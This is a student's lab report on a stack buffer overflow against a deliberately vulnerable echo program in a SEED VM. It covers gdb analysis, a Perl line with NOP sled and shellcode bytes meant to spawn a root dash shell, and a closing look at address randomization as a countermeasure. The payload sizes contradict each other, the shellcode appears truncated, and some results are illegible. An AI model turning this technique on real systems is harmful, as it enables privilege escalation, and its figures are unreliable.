

Grant Harvey

harveyg3@udayton.edu

CPS 474 - Software and language based security

Dr Phu Phung

Bitbucket link: <https://bitbucket.org/granthsrvey/ss-lbs-harveyg3/src/main/>

Lab 03

Task 01 - Determine the length of input to overflow the buffer

a. Steps to determine length of input

I systematically tested higher and higher numbers until it was too much, then I slowly narrowed it down till I found 591 is the max amount of characters until it breaks.

I tested 10 -> 100 -> 200 -> 300 -> 400 -> 500 -> 600 [FAILED] -> 550 -> 575 -> 580 -> 590 -> 591 -> 592 [FAILED]

b. Screenshot of discovery

```
[09/21/26]seed@VM:~/.../lab3-bufferoverflow$ ./myecho $(perl -e "print 'A'x592")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[09/21/26]seed@VM:~/.../lab3-bufferoverflow$ ./myecho $(perl -e "print 'A'x591")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[09/21/26]seed@VM:~/.../lab3-bufferoverflow$ ls -la
total 24
drwxrwxr-x 2 seed seed 4096 Sep 21 11:53 .
drwxrwxr-x 5 seed seed 4096 Sep 21 11:53 ..
-rw-rw-r-- 1 seed seed 185 Sep 21 11:53 dash-shellcode.txt
-rwxrwxr-x 1 seed seed 8246 Sep 21 11:53 myecho
[09/21/26]seed@VM:~/.../lab3-bufferoverflow$
```

TASK 2 - Identify the buffer address

- a. strcpy() looks to be the vulnerable code. The function doesn't perform bounds checking so anything larger than the buffer will cause a buffer overflow

```
0x08048433 <+31>:      call    0x8048320 <strcpy@plt>
```

- b. The vulnerable code is at *main+31 so we will set a breakpoint just after it at *main+40
c. Buffer address = 0xffffcc5c
d. At stack offset 0xffffcc5c, the memory contents directly show 'A' <repeats 200 times>..., which confirms that the input string starts copying into memory at address 0xffffcc5c
e. I used "disas main" to find the vulnerable code, then I set a breakpoint to be just after it at main+36, last I ran the test to print 'A' 588 times. The output below then shows all the necessary details

```
gdb-peda$ run $(perl -e 'print "A"x588 . "BBBB"')
Starting program: /home/seed/Documents/ss-lbs-harveyg3/labs/lab3-bufferoverflow/myecho $(perl -e 'print "A"x588 . "BBBB"')
[-----registers-----]
EAX: 0xffffcc5c ('A' <repeats 200 times>...)
EBX: 0x0
ECX: 0xffffd380 ('A' <repeats 11 times>, "BBBB")
EDX: 0xffffce9d ('A' <repeats 11 times>, "BBBB")
ESI: 0xf7fb2000 --> 0x1e8d6c
EDI: 0xf7fb2000 --> 0x1e8d6c
EBP: 0xffffcea8 ("BBBB")
ESP: 0xffffcc40 --> 0xffffcc5c ('A' <repeats 200 times>...)
EIP: 0x8048438 (<main+36>:      lea    eax,[esp+0x1c])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x804842c <main+24>: lea    eax,[esp+0x1c]
0x8048430 <main+28>: mov    DWORD PTR [esp],eax
0x8048433 <main+31>: call   0x8048320 <strcpy@plt>
=> 0x8048438 <main+36>: lea    eax,[esp+0x1c]
0x804843c <main+40>: mov    DWORD PTR [esp],eax
0x804843f <main+43>: call   0x8048330 <puts@plt>
0x8048444 <main+48>: mov    eax,0x0
0x8048449 <main+53>: leave
[-----stack-----]
0000| 0xffffcc40 --> 0xffffcc5c ('A' <repeats 200 times>...)
0004| 0xffffcc44 --> 0xffffd13f ('A' <repeats 200 times>...)
0008| 0xffffcc48 --> 0xf7fe49fd (<_dl_allocate_tls_init+13>:      add    ebx,0x18603)
0012| 0xffffcc4c --> 0xf7ffd000 --> 0x2bf24
```

TASK 3 - Construct the payload

- a. The payload layout consists of a 159-byte NOP sled, 46 bytes of shellcode, and a 4-byte return address, bringing the total payload size to 208 bytes. This specific size is required to fill the buffer up to the saved return address on the stack so execution control jumps into the NOP sled.

b.

```
1 print "\x90"x(592-46) .
2     "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x0f"
3     "\x50\xcd\xff\xff"
4
```

Task 4 - Launch the attack

- a.

[illegible]

- b. The attack happens since we overflowed the string all the way to right before the return address and then we rewrote the return address with the dash shell attack which gives us root access.

C.

[illegible]

Task 5 - A Buffer Overflow Attack Countermeasure

- a. I get a segmentation fault for the same exact code I just ran in the last task

[illegible]

- b. What we enabled randomizes memory locations of key data areas every time a program is executed. Because the stack memory changes every time, our hard coded return address no longer points to the NOP sled in memory.
This doesn't fix buffer overflow vulnerabilities, the buffer overflow still exist, the randomization just makes exploiting specific memory addresses unreliable.